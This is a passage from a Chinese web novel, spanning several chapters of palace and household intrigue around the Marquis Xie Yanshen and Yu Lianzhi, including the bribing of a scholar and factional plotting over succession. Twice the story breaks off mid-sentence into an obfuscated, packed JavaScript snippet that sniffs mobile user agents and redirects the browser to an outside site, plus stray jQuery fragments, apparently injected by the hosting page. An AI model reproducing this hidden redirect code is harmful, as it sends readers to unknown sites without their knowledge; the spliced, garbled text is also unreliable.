玉怜脂抬起手向前，指尖碰到那股冰凉时，一只大掌从身后黑暗伸来，握住了她的手腕。 她却只是被惊了一瞬，随后回头看身后跟来的人。 谢砚深面上不见疲意，玉怜脂搬开他手时就醒了，他一向梦中都警觉。 左臂从身后搂紧她的腰，将她整个圈在怀里。 “睡不着么?”他低下头，轻吻她的侧颊。 抬眸看向她一直眼巴巴望着的那把刀，道：“怎么突然想看这东西。” 玉怜脂轻轻回答：“就是……觉得它很漂亮。” “是哪来的?” “宫里赐下来的，塔碌国的贡品。”他说。 她把油灯放在一旁格子上，手继续伸向那刀，而后一手握住刀把，一手握住刀鞘。 谢砚深沉默看着。 玉怜脂手一用力，一股能刺破夜晚黑暗的寒芒从那一丁点缝隙中漏出来。 她瞬间兴奋起来，又拉出来一截，利光越来越盛。 拉出一半时，谢砚深以迅雷不及掩耳之势握住她双手。 “铿”的一声，刀被推回鞘中。 “怎么了？”她很不高兴，回头瞪他。 谢砚深把她的手从那把刀上掰开，握着强行拉回来。 沉声：“此刀是塔碌国工匠大成之作，过于锋利，比寻常刀器锐利数倍不止，即便是把玩，也很容易被伤到。” 玉怜脂喏喏反驳：“我可以拿来防身……” 谢砚深皱着眉，捉住她的手收得更紧了：“你不擅武，身子太弱，腕力较常人还要虚浮许多，若是遇险，拿着此刀，反而极易被人夺去，届时更加危险。” 他说他的，玉怜脂的眼神却一点没离开那把刀。 等他说完，她一转身，抱紧他窄腰，埋进他怀里：“可我就是想要——” 谢砚深低下头，她细滑发丝蹭着他胸膛，带着酥麻痒意，让人心软。 还想开口再劝，她突然抬起头，泪汪汪地看他。 “你这些日一直欺负我，要给我赔礼，”她理直气壮，声音却是柔软的， “我就要这个，我摆在屋子里看还不行么，你给不给?” 听见她第一句话时，男人的眉心霎时压紧。 “好砚郎，给我，给我好不好——”她凑近他，踮脚亲他的唇。 然而他的神色还是残存几分纠结犹豫。 利诱不成自然还有威逼—— “你要是不给我，我，我现在就走，你抱着这刀自个儿睡吧，睡一辈子好了！” 她气呼呼地丢下这句，一下松开他，转头就要向放外衫的屏风处走。 “好了。”他黑着脸拉回她，“胡说什么。” 她是个有脾气的，气性还不小，先前那么多事，她真有可能气还没消。 好不容易哄得她和好，没必要为了这一点微不足道的小事，又惹她不高兴。 对峙半晌，他终于还是妥协—— “刀拿回去之后，平日只用来赏看便罢了。” 她脸上笑容复又出现，一下投进他的怀抱，而后在他怀里侧着看那柄刀。 “这刀，真的很锋利吗?”她的声音放到最轻。 “嗯，削铁无声。” “这样啊，”她幽幽轻叹，“那要是割在人身上，一定很痛吧。” 64. 警告 春分过后不久，便是三年一开的春闱。 负责主持会试的礼部忙得脚不沾地，即使有历代传下来的章程，但科举这等关乎国本的大事，再小心都是不为过的，从开考前到最后放榜，每一环都要提着脑袋推进。 即使如此，也有数不清的意外在前面等着。 会试共三场，经义、论、策，所有士子入贡院九日，期间一步都不得离开，所有行动都在监视之下。 进去前要经过重重盘查，然而自大昀立国以来，没有任何一届科考是完全无人行作弊之举的。 想方设法替考的、藏纸藏卷的、把书文在亵裤内侧绣得密密麻麻的……无所不用其极，立志在钻研歪门邪道上往登峰造极的境界奋勇前进。 贡院中还食住艰苦，每回都有病倒场上的赴考之人，有的甚至命丧考场。 诸如此类的突发状况层出不穷，且动辄牵连甚广，是而除了礼部外，整个京城都蒙上一股紧张压抑的宁静。 … 程有立起了个大早，出了客栈，直奔城东。 城东有京城里最大的几间书斋，他来京之后，笔墨纸砚提早准备了，但这些日子损耗了不少，剩下的估算着也就是刚好够。 思来想去，还是要多买些备用的。 袋里的银钱所剩不多了，挑不起上乘的，只要过得去便好。 货比多家，等从书斋里头出来，快到午时了，又紧着往回赶。 客栈里头住着，店家每日供有一餐饭食，虽然颇为简陋，没有油水，就是胡饼配白菜酱豆，还有一大碗素汤，但饼的分量重，勉强能吃个六分饱。 住店价钱不高，他也没什么好挑的，放餐的时辰过了不候，他必须在未时前回去。 京都的春季，地上还有些湿滑，他转道进小巷里，走得急，差点绊了一跤。 身形稳住了，但怀里的东西掉了一地，地上还有好几滩湿水。 程有立手忙脚乱去捡，他摔一跤倒是不打紧，就怕刚买的东西给碰坏了。 蹲在地上边捡边仔细查看，忽地，视野里多了一双黑色皂靴。 一惊，抬头看去。 男子的脸庞逆着日光，眼神凌厉，此刻正盯着他。 竟不是生面孔。 ——是他在侯府花林里见到的那个护卫。 “程举人。”福明伸出手。 程有立惊讶过后，抿唇犹豫片刻，最终抱着东西，自个儿站了起来。 福明并不尴尬，收回手。 “这位……不知您怎么称呼?是有事来找我？”程有立有些警惕。 他可不觉得现在的情况是什么巧合。 上回，就是这个人打断了他和玉小姐的交谈。 看玉小姐的神色，她似乎不大喜欢这个护卫，像是顾忌着什么，眼前的这个人地位绝对不低，应该是那几位侯府正头主子身边伺候的。 既然玉小姐熟识，那估计就是侯府大郎君或大夫人的心腹人了。 来寻他，是侯府的吩咐？ 福明面无表情：“程举人无需知道我名姓，只需知道我是奉侯府的命令而来。” 果不其然。 他说完，手中一个包袱递向前。 程有立看着他手上的包袱，紧张疑惑更甚：“你……这是何意？” 福明语速极快，简单明了：“程举人，收了东西，往后，便不必再与侯府往来了。” 程有立猛地睁大眼睛，嘴唇颤抖几下，忍不住失声： “可玉小姐和我——” “程举人慎言。”福明目光一寒，立时打断他， “我们姑娘身子不好，府里爱重，还想再留姑娘多些时日，便不耽误举人了。” 话中之意已经不能更明白了。 举子手里还拎着刚捡起来的笔墨物什，整个人的脸都白了。 “……这是，玉小姐的意思……？”好半晌，程有立艰难吐出几个字。 “府里主子的意思，自然便是姑娘的意思。”福明冷冷道，“程举人往后当谨言慎行，有些事，有的人，该忘的，最好一丁点都别剩脑袋里。” “这是侯府的赠礼，举人辛苦来一回，也是场缘分，缘分尽了那便好聚好散，若是非要多舌横生事端——” “难免会误了大好前程。” 说罢，把那包袱往面前呆愣的人怀里一塞，转身，脚步极快，眨眼间就消失在巷尾。 程有立站在原地，像大冬天被从头到脚狠狠泼了一盆冰水。 怀里的包裹有些散开，露出里面毫无装饰的木匣子。 他的手抖着，微微一开匣盖，看得见银票边缘的骑缝章印。 - 雪蹄青骢刹在角门外，驾马之人翻身下来，马夫小跑上前，把它牵往马房。 快步回到主院大门，守院门的连忙迎上来：“福总管！” 福明没耽搁，径直往里走：“侯爷呢？” 门房跟着他：“侯爷下朝回来了，此刻正在书房，忠伯已经过去了。” 福明点头示意明白，抬手摆了两下，门房立刻停下，转身退回原位。 刚走到书房回廊，一转弯，和往外走的忠伯迎面撞上。 “这是去哪？”福明惊了一下。 忠伯泄出口气，张了张口，最后只说：“……侯爷还等着，你快去吧。” 说完，皱着脸绕过他。 福明眼神跟着忠伯颇有些颓丧的背影，直到消失。 回过头，撇了撇嘴。 不说他也知道，多半就是被使唤去请玉姑娘了呗。 那敢情好，总不能每回都是他去挨姑娘身边那位嬷嬷的眼刀子吧。 大步朝前，书房的门开着。 福明不敢延误，快步走进，阖上门，而后垂首向书案后还未褪去官服的人禀报： “侯爷，已经办妥了。” 谢砚深手中执卷，翻阅：“派人盯着。” 程有立家中贫寒，虽中了举，但十几年来利滚利欠的债、抵出去还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991755|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赎回的祖屋田地、兄长的药钱，都压在他身上。 收了侯府的银钱闭上嘴，花林里的事就随风而散，彼此都好，如无必要，侯府不会对个普通举子出手。 若是真不识相，自然有更稳妥的法子处置了他。 “……是。”福明神色带上些犹豫，僵硬应了一声。 谢砚深抬眼：“怎么?” 福明一激灵，欲言又止。 然而正座上投下来的视线越来越锋利，他十秒都没顶过去。 最后讪笑着：“侯爷，不是奴才不敬，只是……您明知道那姓程的估摸就是玉姑娘故意用来气您的靶子，您何必在意，应当让玉姑娘自己去料理了那厢，否则岂不是太……” 太过娇纵了，没得跌了份儿。最后几个字吞到肚子里没说。 男人手中书卷放下，眼神冰冷。 福明冷汗一瞬间就下来了，恨不得返回去，抽几秒前的自己几个嘴巴子。 “侯，侯爷……奴才胡说的……”低着头，声音越来越心虚。 死寂半晌，上座才传来声音—— “她只是有些小性子。” 福明兀地一惊，刚想抬头，上头的人又发话了。 “云山观的事安排得如何了。”谢砚深沉声问。 福明回神，连忙答：“监院清晖道人静修，知会了两位都管，都安排好了。” “玉家老爷与夫人的灵位也从偏殿移到了太乙殿。” 初春，玉怜脂父母的忌日要到了。 今时今日，他应该同她一起去祭拜。 福明：“侯爷，要不要多带些人?” “宫里头贵妃有孕，睿王复宠，加上两江那边，护国公府和承王怕是彻底坐不住了。” 春分后过了六日，宫里传出了贵妃怀上身孕的消息，朝内朝外霎时惊变。 秦贵妃的年岁不轻了，多年来深得平武帝宠爱，除了睿王，还育有两位公主。 虽然再有孕并不是登天般困难，但偏偏正好在这个时候有了，简直是旱逢甘霖一样的奇迹。 后宫许久没有新的皇子公主降生，这一胎，真就能硬生生把已经偏移的圣心又拉回来。 两江的事越挖越深，加上睿王一党有死灰复燃之势，承王如今怕是急得像热锅上的蚂蚁了。 困兽犹斗，狗急了尚且跳墙，更何况是人。 谢砚深敛眸：“加一倍，分散一部分，沿途隐匿，提前排查。” 福明：“奴才明白，那……” “侯爷。”屋外，忠伯敲响门。 立刻停住嘴。 谢砚深站起身，摆摆手。 福明心领神会，回身将门打开。 玉怜脂踏进门，扫了门边脸色有些不自然的人一眼，有些疑惑。 后者暗暗咽了咽口水，等她进了门，立马闪身出去，把门关上。 “……怎么不换衣裳?”女娘轻柔的声音隐隐从门缝透出来。 “……刚回来，不急……” 65. 承诺 过了惊蛰再往后，春韵开始顶去尾冬残留的雪寒之气，湿暖清风逐渐转盛。 大昀律，官员十日一休沐，告归家中，修养团聚。 安平伯府的马车在角门处停下的时候，正门外被前后重重围护着的四驾马车正好开始朝前行进。 车窗猛地打开，绣帘掀起。 赵庆姗半探首出来，看着带着镇北侯府徽记的队伍从自家马车旁行过。 护卫们的神色肃穆，数十匹骏马训练有素，行进时的马踏声沉重却不凌乱，最中间被围住的马车车身雕刻有华贵严整的壁纹，冠头车厢通体玄黑，驷马高车，嵌玉镶金。 不用探究，她也知道马车上的人是谁。 这府里有资格乘四驾的人只有两个，而今日王老太君还在润安堂等着她，所以—— “表——”她忍不住失声开口，但只一瞬，硬生生又自己咽了回去。 她们伯府的马车就停在这，刚刚一路过来，离谢砚深的马车不过数米之距，他不可能瞧不见。 但他选择了无视。 甚至都没遣身边人来问一句。 她再心悦他，这样一厢情愿送热脸的事情做太多，还是难堪。 “小姐，”贴身婢女担忧轻声，“太夫人还在等着呢，咱们还是先进去吧。” 赵庆姗脸色难看，咬着牙，等拱卫四驾马车的护卫队伍彻底消失在视野范围内，颓然松下手臂，车帘随之垂落下来。 “……走。” … 小轿慢慢行入园子，落定，婆子丫鬟迎上来，拥着轿子里的女郎进了大门。 不多时，穿戴精细的婢女小步出来，朝东边去了。 只一盏茶的功夫，忠伯从主院紧赶慢赶，好容易站在了润安堂的匾额下边，深呼口气，掏出巾子擦干净头上的汗，而后才迈入院门。 转步进了正厅，双膝刚跪地，上首就传来略带愠怒的责问。 “说罢，你主子去了哪？”王老太君眉头紧蹙，脸色黑着，“外头好大的阵仗，我这却连声通报都没有，若不是有你们表姑娘瞧见，还真叫你们瞒得滴水不漏。” “看来，如今我老婆子是彻底做不了这府里的主了？”说罢，狠狠一掌拍在案上。 旁座上的赵庆姗连忙上前为她抚背：“姨母莫动气，对身子不好。” 忠伯俯首更低，额头都贴到地面上：“太夫人息怒，是侯爷吩咐，今日休沐，便去云山观祭拜一番，顺道踏春，本不是什么大事，不必刻意惊动府里。” 王老太君冷笑：“我怎不知他有这样的闲情逸致。踏春？就是你主子在这，也不敢拿这样的胡话来诓骗于我。” 这京城里，谁家中的公子郎君闲暇之时外出游玩赏春都是常事，但谢砚深， 除非太阳打西边出来。 “你这老货，瞧着是真不将我放在眼中了。”王老太君的眼中怒意越来越盛，语气中有股阴沉的冰冷。 “来人！” 府里伺候久了的人都熟悉她此刻的模样，忠伯从前是伺候先镇北侯的，自然也不陌生。 在她下令把他拖出去打板子的话脱出口前，忠伯急忙扬声：“太夫人，太夫人息怒！” “这，老奴本是不好说的，侯爷踏春，是早与其他几位相熟的大人约好的，并不是要欺瞒您，侯爷说了，只是寻常小聚，事情不必太多人知道。” 说到最后，声音压低下来。 王老太君怒气顿住。 若是谢砚深真是与其他朝中大员定了今日同聚，那为的多半是公事，踏春不过是个由头。 这样的做法并不鲜见，若是大事，那势必要耗费许多时辰，谁家也不好经常将一大群同僚下官唤入自个府中，一聚就是大半天，天长日久，传出去，那不成了结党了。 再往前个三两年或许没什么，但如今正是朝局最动荡的时候。 心下有了计较，眉头倏地舒展了些。 忽地，又眯起眼：“他今日出行，怎么坐的马车？” 谢砚深即便是上朝，都是骑马，他行事雷厉风行，不喜拖延，马车的速度可远比不上驾马。 忠伯微微直起身：“回太夫人，春天到了，马儿多不安分，斩云前几天就伤了蹄子，马房正养着，预备着过两天重新上蹄铁，这两日侯爷上朝都不曾骑马。” 斩云，谢砚深那匹踏雪乌骓的名字。 这匹马神骏非凡，极通人性，并非马场养出来的，而是野外驯服回来的，战场上冲锋陷阵屡立奇功，谢砚深的命都有好几回是它救的。 性子也是暴烈，且古怪，绝不肯和旁的马同一马厩，就连伺候的马夫也得是独一个，谢砚深与它当真是生死之交，若是没有必要，他并不骑旁的马。 王老太君舒了口气，摆手：“行了，你也有年岁了，一直跪着做什么，起来吧。” 忠伯谢过，撑身站起。 赵庆姗一直在旁边听，气氛变了，旋即笑着端上茶：“原来是这样，姨母这下可放心了吧。” 王老太君偏身接过她递来的茶盏，唇角微勾：“你表哥就是个锯了嘴的葫芦，什么事都是不问就不说，往后若没个知心的人在旁边，怕是更憋闷了。” 话中之意微妙，赵庆姗自然听得懂。 但迎着说未免显得太着急，她垂下头，羞红着脸。 王老太君眸中尽是满意。 那日花会后，许是看出谢砚深的脾性冷硬，毫无结亲的意思，梅府那边近来冷淡许多。 相反的，安平伯府一如既往熨帖热情，赵庆姗也丝毫不计较当日被甩了冷脸，只说表哥性情一向如此，她不会放在心上。 两相比较，只觉得果然什么人都还是知根知底的相处起来更融洽和谐。 是时候该定下了。 - 出发前马车车轮已经厚包过了，但速度一快起来，难免还是会颠簸。 出京郊的路长，接近午时方到云山观。 玉怜脂睡了一路，原本她自个儿睡在软被堆里，但时不时就要惊醒，不是外头太吵，就是车厢被路上不平坑洼弄得晃动。 前小半段路谢砚深一直在一旁看竹简，直到她被反复折腾到掀被子坐起身，人还没清醒，眼眶却红了，泪珠子啪嗒掉出来，缩在角落里发呆，可怜得要命。 他只看了一眼，便索性放了手中东西，脱了外袍。 刚在她旁边躺下，她就自觉扑腾扑腾又倒回了被中，滚着窝到他怀里，脸蛋习惯性地埋进他颈窝，迷迷糊糊很快又睡了过去。 他手捂在她耳上，自己则闭目养神。 后边的路，她倒是一下掉进了黑甜乡，睡得极安稳。 以至于马车停下，谢砚深唤醒她，把她半抱着扶起来的时候，她整个人还是恍恍惚惚的。 这回他们出来，为了瞒得全套，没有带上关嬷嬷或其他丫鬟婆子，是以无人伺候她妆发。 暗格拉出来，一面铜镜和一排香膏水粉首饰摆上车厢内的小案几。 玉怜脂还没彻底清醒，手上没太多力气，虚虚握着梳子，十分缓慢地梳平睡乱了的长发。 她自己不会盘那些个复杂的式样，打算只简单挽个单螺髻。 今日是祭拜，不用那些颜色艳丽的发钗步摇，车厢里的东西都是谢砚深派人置备的，她翻了翻首饰匣子，从里头挑出一根尾坠南珠的银簪。 穿戴好后，谢砚深拿出了帷帽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991756|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，为她戴上。 “今日这般，是委屈你了，”他动作利落，给她系好帷帽的细带，沉声，“下回，定不会如此。” 她本是祭拜双亲，却这样遮遮掩掩的，换作谁心里也不好受。 若是往日，玉怜脂的脸上定是有笑容的，但今天或许是事情特殊，她总是时不时出神。 “……不委屈。”好一会儿，她细声应答，脸上的表情竟是有些空白。 男人眯起眼，下一瞬，捧住她的脸，看着她的眼神目光如同一寸寸刮过去。 从前些日他说要和她一起来祭拜双亲开始，她就一直心不在焉，看他的眼神也与往常很不一样。 似乎，十分疑惑，还带着些愧疚？ 他记得，当时他提出此事时，她的脸色骤然变化，很长时间没反应过来，好半天，憋出两个字—— “什么？” 很不对劲。 玉怜脂被他盯着，抿了抿唇，挣开他的手，抬臂把帷帽的纱放下：“我们快走吧。” … 太乙殿内提前清了出来，云山观香火旺盛，接待过的达官贵人数不胜数，若有身份极贵重的香客前来，行起方便也是驾轻就熟。 大殿内十分寂静，玉逢羲和戚脂的牌位就在太乙救苦天尊庄严神像之下。 玉怜脂解开帷帽，捻了三根细香，点燃，轻晃去香尖火星。 谢砚深站在她身旁，手中一样是三根香，与她同时跪下，叩拜，将香插入香炉。 站起身，他拉过她的手，正色道：“如今还不太平，再给我一些时日，你放心，不会让你等太久，至多数月，时局平稳后，我便提亲。” “先前你说，家中还有一位小叔父，我思量过了，届时，便让他来代你双亲完成六礼中的仪典，你觉得如何？” 说话时，他的声音颇为严肃，可细看去，眼中分明有期待，有极少外露出来的欣喜。 玉怜脂的手被他握在掌中，却无端觉得发凉。 身旁是父母的灵位，就像他们正在看着她。 理智告诉她，她此时应该虚与委蛇，可是站在此处，她竟说不出来。 她甚至不知道自己现在的表情是什么模样。 一直到面前男人的脸色开始沉下来，她终于听见自己的声音。 “……太夫人他们，会同意吗？”忐忑的，不安的发问。 谢砚深的神色好了许多，抚摸她冰凉的侧颊：“那些你都不用管。” “一切有我在。” 他自会为她摆平一切，她只需要安心养好身子。 他所求不多，只要她能长长久久与他相伴便好，其他的，都不重要。 现在想来，她这些日子反复无常，多半是心中不安。 是他之前想错了，他怎么能将面对谢滨、高大夫人的问题抛给她自己解决，他明知道她孱弱，年岁不大，却受尽了苦楚，失了双亲，在侯府中的日子如履薄冰，受不得惊吓，更受不得刺激。 花会上，又有那些流言蜚语，她出身不高，被拿来与京中其他贵女讽酸比较，不知有多难过。 “怜娘，你什么都不用想，我们之间，从前没有别人，往后，也绝对不会。” 他的妻，只会是她。 肺腑之言，真情脉脉。 换作旁的女娘，此刻应该泪流满面，扑入情郎怀中。 但玉怜脂只觉得浑身冰凉。 “……砚郎，”她喃喃唤他。 “无论发生什么，你都会待我，始终如一吗？” 谢砚深垂首，紧紧盯着她的眼，承诺郑重而有力：“我会。” 她的唇颤抖着，声音也是细弱的：“……好。” 66. 挑衅 傍晚时分，侯府的大门才再次敞开。 车马入府，主院灯火通亮不久，润安堂的下人就到了。 忠伯迈入侧厅，厨房的小厮丫鬟正端着空盘退出来。 “侯爷，”忠伯微垂首，“太夫人请您去润安堂用晚膳，说从外头专门请了名厨。” “表姑娘也在。”补充一句。 闻言，玉怜脂正要握住小勺的手一顿，看向旁边的人。 谢砚深神色不变，盛了汤放在她面前：“乔诚的新方子，专门给你熬的药膳，先喝。” 说罢，朝厅里还候着的忠伯沉声：“去回，不必了。” 玉怜脂收回眼，捏住玉勺，慢慢喝浅碗里的暖汤，身旁人继续握箸为她布菜。 她瞥了眼盘中的菜肴，眉头皱起来。 “不能偏食。”他肃声说。 她饮食上多有挑剔，这也不吃那也不吃，但她的身体却惯不起这样的坏毛病。 忠伯站在原地，抬头看了一瞬，难得没多嘴，直起身快步退出房门。 用完饭后，玉怜脂提出要回珠玉院。 这些时日她都和他同眠，极少回去，今日祭拜完，彼此互通心意，本是大好良辰，但她却不肯留下来。 “我要好好想想，怎么和滨叔说。”她伏在他怀里，低声说。 谢砚深眼中沉晦，最后还是点了头，让忠伯护送她回去。 … 书房。 信纸铺了满桌。 福明立在书案前，神色极为严肃：“侯爷，我们在两江的人被拔了一大半，剩下的按您的吩咐紧急撤回来了，如今刚到安全的地界。” 数日前，两江那边调查兵械的进展被打断，派出去的探子失踪了不少，不出意外，应该是都折了。 当地与谢氏有联结的将领也没了消息，多半被封了口。 承王做了这么多年的亲王，护国公府又树大根深，果然极难对付。 福明皱着眉：“侯爷，其实剩下的那些人原本也是保不住的，但却平平安安出了两江，这……” 书案后的男人面无表情，慢抚扳指， 这是承王在向他们示好，更是警告。 意思很明确，希望谢砚深睁一只眼闭一只眼，毕竟谢氏有不涉党争的铁则。 但若再干涉，那么镇北侯府就会彻底站在承王一党的对立面，他们不会再手软。 福明观察他神色，随后眼神一定，试着开口：“侯爷，下一步，我们是否要，挑人了?” 他们侯爷，最厌恶受人胁迫，更不可能委曲求全忍气吞声。 从两江那群蠹虫受承王指使，将侯府派出的人杀了大半，甚至用了活埋、沉江这样的法子开始，谢氏就不会与他们善罢甘休了。 只是之后真要参与朝堂争斗的话，要考虑的可就太多了。 如果侯府和承王对上，那么睿王肯定要推波助澜，说不准，还想收归谢氏。 但睿王的斗兽案，当初可是他们侯爷亲自把铁证交到弹劾睿王的御史手里的。 两边都靠不得，谁上位，都对他们百害无利。 这样一来，他们现在最先要做的，是挑出第三个皇位的竞争者，才好为谢氏创造一份从龙之功。 谢砚深站起身，目锋锐利：“我记得，如今后宫中没有母族支撑的成年皇子，只有一个。” 福明眼神一闪：“侯爷是说，逸郡王？” 京中八位成年皇子，只有承王和睿王封了亲王位，其余的最多便是郡王。 六个郡王里，逸郡王的年龄最大，平武帝的第三子，母亲是已故贤妃齐氏。 贤妃当年有过一段时间的盛宠，只不过生逸郡王时难产血崩，不治而亡了。 贤妃的祖父是先帝时的太医院正，但家中逐渐没落，到贤妃这一代，除了贤妃的胞兄齐同州还在太医院当差，族中其余男子已经都是白身了。 换句话说，逸郡王是后宫前朝都无人可靠。 约莫他自己也知道夺嫡无望，平时醉心诗词书画，但天资有限，也没捣鼓出什么名堂。 朝堂之上，除了赈灾救民之类的事他一定会出声，旁的话绝不说一句。 没有大才能，但也没有昏君之相。 可—— 福明眉头紧皱：“侯爷，逸郡王确实是合适的人选，可他心志不高，恐怕……难当大任。” 他们有心有力，就怕挑中个扶不起的阿斗。 谢砚深提起桌上墨笔，沉声：“将杖探其水，方知水浅深。” 路遥知马力，日久见人心。 - 珠玉院的小门开了又闭上，院子里静悄悄，入了房中，烛火明亮。 玉怜脂缓慢坐上小榻，一路过来都是沉默着，没有什么表情。 像是郁愁，又像是掩藏暗流的死寂。 关嬷嬷阖紧门，上前为她卸簪子发髻。 手上动作没了往日利索，欲言又止，半晌，只轻声劝道： “姑娘今日也累了，先去梳洗沐浴吧？” 玉怜脂抬眼看她。 回来刚见到关嬷嬷的时候，老妇人神色显而易见的有些焦急，现下也明显憋着话。 “嬷嬷，出了什么事？”她问。 关嬷嬷手中一顿，张了张口。 玉怜脂垂着眼：“说罢，我只是有些疲累，不打紧。” “二当家的信到了。”关嬷嬷压低声。 女娘的发披散在肩背后，罗裙清素，眸中映着幽幽烛光，仿佛一尊静默的白瓷像。 沉默一瞬，抬手。 老妇人立时从袖中拿出小筒，放入她掌心。 玉怜脂拆开信筒，倒出里头折叠卷起的薄纸。 … 今天她看信的时间比往常久上许多。 墨迹透到纸背，打眼过去，看得出内容并不长，但玉怜脂拿着信纸，久久没有回神。 关嬷嬷忍不住了：“姑娘？” 这次送信来的特地说了消息很重要，十万火急，必须让少东家尽快看到。 想来必定不是什么好事。 此刻玉怜脂的沉默也印证了这一点。 “姑娘，到底出什么事了？” 玉怜脂放下手中的信，置于灯盏之中：“…… 两江，重归太平。” “无人被问责，无人被贬官，一切又都风平浪静了。” 关嬷嬷脸色急变。 军器监、武库署短时间内死了这么多官员，怎么都应该有一番动荡。 竟然，就这样湮灭了？ 两江上报朝廷的奏疏中，究竟是怎么写的？ 关嬷嬷气都有些喘不上来了：“这，是因为侯爷，把在两江的人手撤回来了？” 柳启彦一系官员是被谢砚深逼得走了杀棋，现下两江粉饰太平，是否代表镇北侯府的手耳已经被拔掉了？ 玉怜脂垂下眼，数秒，开口：“不会。” “他不是主动撤手。” 若真是自己主动离开风波，不打算再蹚这趟浑水，谢砚深今日就不会让她再等他数月，等安稳后他来提亲了。 更可能的情况是，他知道了两江那边反击的事，只是还没有作出下一步部署，但已经预料到，未来很长一段时间都不会有与她成亲的好时机了。 因为此事太大，侯府也要不平安了。 那日，任智妤来找她，说“镇北侯不会和他们斗到 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但即便如此，还是怪异至极。 甚至让谢文嫣都忍不住专程跑来珠玉院发牢骚—— “护国公府往年也没这么多花会诗会来办呀，就是任大小姐要做亲王妃了，也用不着这样日日显摆吧，又不好老不去，可去多了，场面话来回倒腾，都不知道下回要说什么了。” 玉怜脂听她说，只在一旁捧着茶笑。 “嬷嬷，护国公府来送了几回帖子了？”她轻抚盒盖，轻声问。 关嬷嬷跟在她身后，思索片刻： “五回了，前四回都按您的吩咐没应。最近的这次，帖子上诗会的时间还没到，嫣姑娘那边也还没决定要不要去呢。” “是吗，”玉怜脂挑起最上面的那一张邀帖，“那这次，可以回帖了。” 关嬷嬷眼中微闪：“姑娘是要？” 玉怜脂合上盒盖，声音飘悬：“烹食熬膳，若是汤水不沸了，不就应该添一把火吗？” - 护国公府。 “砰——！” 瓷盏被扫落于地，碎裂分崩。 丫鬟们惊恐跑上前，连忙查看桌前人的手，生怕她划到一星半点。 “都滚！”任智妤挥袖拂开她们，凤目凌厉。 桌下的碎片被以极快的速度带出去，房门合上，屋中只剩两人。 任智妤回身，死盯着面前的心腹婢女：“你说的，当真？” 婢女垂着头，正是侯府回廊中拦住关嬷嬷的那个，此刻声色极为恐惧：“回大小姐，我亲耳听的，千真万确！” “那个跟在玉氏女身边的老妈子亲自拿着回帖出来，见了我，胆子极大，离侯府大门不过百步，便把我拉着逼到墙边，开口便说东西已经交给了镇北侯，让我们好自为之，还说……” 任智妤怒目：“还说什么？” 婢女发着抖：“奴婢，奴婢不敢……” “说！” 婢女腿一软，扑通跪下：“还说镇北侯会为玉氏撑腰到底，甚至已经抓到了一名当年虎风寨里叫朱二杆的案犯，正在审讯了……国公府……自作孽，早晚有天罚……” “那玉氏女，狂妄极了……！传话说，说看看到底是大小姐先送她下黄泉，还是，还是她先，她先把您……把您给……杀了……” 说完，她猛地叩头在地，冷汗浸了一身衣裳。 死一般的寂静。 许久，上头传来一声冷笑。 “贱人，找死。” 67.诡计 京城的春夜浓沉，松风里卷着远北吹来的沙尘。 巍峨府邸由朱玄两色融成，掩于夜色之中，灯火罗布其间，如同庞然巨兽瞳中凶光。 护卫十人一队，提笼佩刀巡逻于院外，院中守卫则更加密集森严，甚于往日。 遮月浮云聚散，满府寂静被一声重响骤然打破。 书房大门猛然洞开，女郎金丝钩织而成的华裙尾摆扫过门槛，疾步穿过回廊，身后婢女们连忙跟上，行过之处，护卫肃然垂首。 任智妤满面寒霜，带着骇人的怒气出了主院大门。 身后，守在廊下的管事神色如常，几步上前，手脚轻而快，将书房房门重新关上。 … 楠木门沉重的闭阖声落定，房中对坐两人方才收回眼。 “殿下恕罪，妤儿的脾气实在太过急躁，过后臣必定严加管束，让她自省改过。”说话的中年男人蓄着须髯，身形悍瘦，面容严肃。 护国公，任保。 隔着金丝楠木小几，坐在对首的男子身着藏青绫罗圆领袍，袍上缂制四爪坐龙，绣翟纹，华严贵重，气势逼人。 瑞凤眼轻抬，摆了摆手：“她这性子从小便这样，又倔，改不了的，罢了。” “只是，妤儿方才所说的，可都是真的？” 任保目凝冷光：“不错，谢邃的确极看重那玉氏女子，冬祭之时，妤儿冲动，派了府中半数死士去截杀玉氏女，但没有得手，我们的人反被镇北侯所派的陌刀营精兵尽数斩杀，损失惨重。” “原本两江那边瞒得严密，冬祭后谢邃却突然发难，妤儿虽鲁莽，但她推断的没错，那玉氏女子行事阴诡，如今的局面，必定与她脱不了干系。” 承王眉头紧锁：“镇北侯此人堪称木人石心，当初母后多次想将他收归麾下，什么方法都用了，结果每回都是偷鸡不成……！谢氏历代不参与党争，想来，他不会为了区区一个女人，打破族训的。” “殿下错了，”任保面无表情，目光阴沉，“自我朝开国以来，谢氏势盛至今，难道殿下真的信，是单靠一个明哲保身能做到的么？” 承王提气张了张口，最后哑言。 任保接着道：“若论陛下的信任，别说殿下和我，即便再加上睿王和秦恪，都越不过谢邃，所为何来？” “……镇北侯府，极为忠君。”承王缓慢吐出语句。 而正是因为忠君，他们这些年在两江做的事已经超出了党争的范围，谢砚深极有可能不会袖手旁观。 最要命的是，旁的人上奏皇子屯兵，就算有铁证，也是困难重重，但谢砚深，哪怕他只是空口一说，平武帝都会有六分相信。 这样的人，若为敌，他们原本八成胜算，立时消减一半。 不，还要再低，因为谢砚深手上还握着北境重兵。 “舅父，那我们现在该如何做？”承王俯身向前，语气迫切， 